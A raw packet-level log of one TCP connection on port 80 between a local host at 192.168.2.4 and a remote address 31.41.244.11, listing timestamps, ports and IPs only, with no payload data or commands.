Dec 12, 2024 14:26:37.925589085 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.926388025 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.926441908 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.926472902 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.926486015 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.926532984 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.926532984 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.927366018 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.927411079 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.927448988 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.927459955 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.927505016 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.927505016 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.928196907 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.928245068 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.928275108 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.928288937 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.928314924 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.928364038 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.929147959 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.929245949 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.929260015 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.929265022 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.929301023 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.929857016 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.929922104 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.929934025 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.929945946 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.929969072 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.929969072 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.930566072 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.930619001 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.930717945 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.930731058 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.930762053 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.930802107 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.931210995 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.931338072 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.931339979 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.931363106 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.931385040 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.931401968 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.931895971 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.932357073 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.096942902 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.097027063 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.097038984 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.097110033 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.097125053 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.097134113 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.097134113 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.097137928 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.097198009 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.097744942 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.097809076 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.098095894 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.098109007 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.098159075 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.098170042 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.098200083 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.098200083 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.098243952 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.098787069 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.098844051 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.098856926 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.098865986 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.098907948 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.098907948 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.099570990 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.099648952 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.099661112 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.099684000 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.099756002 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.100256920 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.100300074 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.100323915 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.100334883 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.100374937 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.100404978 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.101093054 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.101159096 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.101176023 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.101186991 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.101232052 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.101232052 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.101813078 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.101871014 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.101881981 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.101888895 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.101929903 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.101929903 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.102425098 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.102477074 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.102489948 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.102498055 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.102530956 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.102531910 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.103081942 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.103144884 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.103157997 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.103167057 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.103202105 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.103202105 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.104017019 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.104068995 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.104139090 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.104151964 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.104182959 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.104228020 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.104717016 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.104763985 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.104767084 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.104775906 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.104814053 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.104814053 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.105406046 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.105453968 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.105467081 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.105495930 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.105495930 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.105545044 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.106163979 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.106224060 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.106230974 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.106237888 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.106275082 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.106347084 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.107260942 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.107322931 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.107357979 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.107371092 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.107420921 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.107420921 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.107984066 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.107995987 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.108009100 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.108062029 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.108062029 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.108546972 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.108612061 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.108633041 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.108644962 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.108685017 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.109297037 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.109385967 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.109414101 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.109426975 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.109471083 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.109471083 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.110188961 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.110275984 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.110289097 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.110316038 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.110316038 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.110328913 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.110865116 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.110887051 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.110898972 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.110927105 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.110927105 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.110959053 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.111632109 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.111654997 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.111675024 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.111666918 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.111696005 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.111886978 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.112420082 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.112481117 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.112492085 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.112503052 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.112519979 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.112554073 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.113205910 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.113238096 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.113250017 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.113276005 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.113276005 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.113379002 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.113953114 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.114028931 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.114207029 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.114264965 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.114295959 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.114312887 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.114335060 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.114428997 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.115097046 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.115112066 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.115123987 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.115175962 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.115175962 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.115799904 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.115843058 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.115854979 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.115886927 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.115886927 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.115926027 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.116571903 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.116652966 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.116664886 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.116677999 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.116693020 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.116719961 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.117316961 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.117415905 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.117423058 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.117435932 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.117469072 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.117491007 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.118144989 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.118215084 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.118227005 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.118238926 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.118269920 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.118396997 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.118931055 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.118978977 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.119000912 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.119014025 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.119041920 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.119072914 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.119755030 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.119815111 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.119827032 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.119847059 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.119884968 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.120477915 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.120526075 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.120553017 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.120565891 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.120595932 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.120644093 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.121237040 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.121284008 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.121295929 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.121308088 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.121359110 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.121359110 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.122091055 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.122114897 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.122126102 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.122138023 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.122159958 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.122179031 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.122773886 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.122873068 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.122881889 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.122914076 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.288603067 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.288685083 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.288769007 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.288781881 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.288839102 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.288839102 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.288887024 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.289012909 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.289041996 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.289041996 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.289623976 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.289635897 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.289649010 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.289695024 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.289695024 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.290664911 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.290744066 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.290755987 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.290766001 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.290786028 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.290826082 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.291555882 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.291599035 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.291682959 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.291696072 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.291724920 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.291742086 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.292454004 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.292498112 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.292524099 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.292536020 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.292561054 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.292578936 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.293173075 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.293219090 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.293231010 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.293255091 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.293255091 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.293487072 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.293917894 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.293960094 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.293965101 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.293977976 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.294012070 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.294012070 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.294596910 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.294644117 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.294657946 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.294668913 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.294687033 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.294697046 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.295236111 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.295300007 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.295301914 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.295320034 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.295361042 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.295361042 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.296005011 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.296041965 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.296063900 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.296076059 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.296158075 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.296684980 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.296730995 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.296745062 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.296752930 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.296770096 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.296791077 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.297365904 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.297413111 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.297416925 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.297429085 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.297456980 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.297483921 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.297947884 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.297977924 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.297987938 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.297991037 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.298033953 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.298578024 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.298618078 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.298660040 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.298671961 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.298691034 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.298712015 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.299356937 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.299401045 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.299439907 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.299453020 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.299493074 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.299510956 CET	49837	80	192.168.2.4	31.41.244.11
